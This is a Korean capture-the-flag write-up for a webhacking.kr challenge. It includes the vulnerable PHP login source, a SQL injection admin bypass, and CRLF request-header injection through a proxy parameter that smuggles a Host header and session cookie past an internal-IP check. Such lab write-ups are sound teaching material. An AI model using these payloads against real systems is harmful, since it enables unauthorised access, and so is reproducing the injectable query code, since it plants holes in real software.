목표 : 리버스 프록시, Request Header Injection (%0d%0a)
목표와 guest 아이디 비밀번호, 프록시 정보가 주어진다.
어드민 페이지에서는 아이디와 비밀번호 입력을 요구한다. 게스트로 로그인은 되지만 관리자 로그인을 요구하고, 이리저리 sql injection을 넣다보니 소스를 볼 수 있는 페이지로 리다이렉트됐다.
// Include configuration file
include "config.php";
// If 'view_source' GET parameter is set, call the view_source() function
if ($_GET['view_source']) view_source();
// If 'logout' GET parameter is set to 1, reset the session's 'login' value and redirect to the homepage
if ($_GET['logout'] == 1) {
$_SESSION['login'] = "";
exit("<script>location.href='./';</script>");
}
// If the user is logged in (session 'login' has a value), display their username
if ($_SESSION['login']) {
echo "hi {$_SESSION['login']}<br>";
// If the logged-in user is 'admin' and their IP address starts with '172.17.0.', show the flag
if ($_SESSION['login'] == "admin") {
if (preg_match("/^172\.17\.0\./", $_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
} else {
// If the user is not 'admin', display a message saying they're not an admin
echo "You are not admin";
}
// Display a logout link
echo "<br><a href=./?logout=1>[logout]</a>";
exit;
}
// If the user is not logged in and the 'HTTP_REFERER' contains 'logout=1', display a login prompt
if (!$_SESSION['login']) {
if (preg_match("/logout=1/", $_SERVER['HTTP_REFERER'])) {
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
}
// If the user has provided authentication details, attempt to log them in
if ($_SERVER['PHP_AUTH_USER']) {
$id = $_SERVER['PHP_AUTH_USER'];
$pw = $_SERVER['PHP_AUTH_PW'];
$pw = md5($pw); // Hash the password with MD5
// Connect to the database and query the 'member' table for the provided 'id' and 'pw'
$db = dbconnect();
$query = "select id from member where id='{$id}' and pw='{$pw}'";
$result = mysqli_fetch_array(mysqli_query($db, $query));
// If a matching user is found, set the session 'login' value and redirect to the homepage
if ($result['id']) {
$_SESSION['login'] = $result['id'];
exit("<script>location.href='./';</script>");
}
}
// If the user is still not logged in, display a login prompt
if (!$_SESSION['login']) {
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
echo "Login Fail";
}
}
PHP
복사
사용자를 로그인하고 특정 IP 주소로 관리자에게 플래그를 표시하며 사용자가 로그아웃할 수 있도록 하는 간단한 PHP 인증 시스템이다.
프록시 값을 다음과 같다.
Request
GET / HTTP/1.1
Host: webhacking.kr:10008
Connection: Close
Response
HTTP/1.1 200 OK
Date: Thu, 30 Mar 2023 08:02:40 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 159
Connection: close
Content-Type: text/html; charset=UTF-8
Your mission is to access admin page
guest account is guest / guest
here is proxy just for fun
PHP
복사
일단 어드민 페이지에 들어가야한다고 하고 IP가 172.17.0 대역이 아니면 거절 당하는걸 봐서 admin 로그인 방식 자체를 막아두지는 않았을거다.
admin'-- abcde
JSON
복사
실제로 로그인은 손쉽게 된다.
이미 admin에 대한 세션값을 가지고 있으니 ip 값만 바꿔주면 된다.
이제 프록시 서버를 이용해 내부 서버에서 접근한 형태로 만들어야 한다.
프록시 개념을 정리하기 정말 좋은 짧고 굵은 글이다. 프록시에 대해 잘 몰랐다면 한 번 읽어보자
프록시 페이지를 살펴보면 page=/로 특정 페이지로 이동할 수 있다.
/admin/ 을 입력했더니 401 Unauthorized실패가 나온다. 그럼 이렇게 쉽게 될리가 없지.
리퀘스트 헤더에 내용 삽입을 해야만 접근이 가능하겠다.
개행 기준으로 내용이 나오고 있으므로 %0d%0a를 통해 Request에 개행이 가능한지부터 살펴본다.
바로 이어 실제로 인식이 되는지 테스트해보면 아래와 같이 200 OK를 띄워주는걸 확인할 수 있다.
즉 리퀘스트 헤더를 맘대로 만들 수 있는 Header Injection 이 가능하다.
/%20HTTP/1.1%0d%0aHost:%20webhacking.kr%0d%0aConnection:%20Close%0d%0a%0d%0a
#/%20HTTP/1.1%0d%0aHost:%20webhacking.kr%0d%0aConnection:%20Close%0d%0a는 개행이 2번 끊어지지 않아서 400error가 나타난다..
PHP
복사
// If the user is logged in (session 'login' has a value), display their username
if ($_SESSION['login']) {
echo "hi {$_SESSION['login']}<br>";
// If the logged-in user is 'admin' and their IP address starts with '172.17.0.', show the flag
if ($_SESSION['login'] == "admin") {
if (preg_match("/^172\.17\.0\./", $_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
} else {
// If the user is not 'admin', display a message saying they're not an admin
echo "You are not admin";
}
// Display a logout link
echo "<br><a href=./?logout=1>[logout]</a>";
exit;
}
PHP
복사
우리는 세션을 확인하고 세션이 admin이면 다음 if 문으로 넘어가는 걸 볼 수 있다. 즉 admin으로 로그인한 세션 쿠키 값을 넣어주자.
?page=/admin/%20HTTP/1.1%0d%0aHost:%20webhacking.kr:10008%0d%0aCookie:%20PHPSESSID=YourCookie%0d%0aConnection:%20Close%0d%0a%0d%0a
PHP
복사
플래그를 획득했다.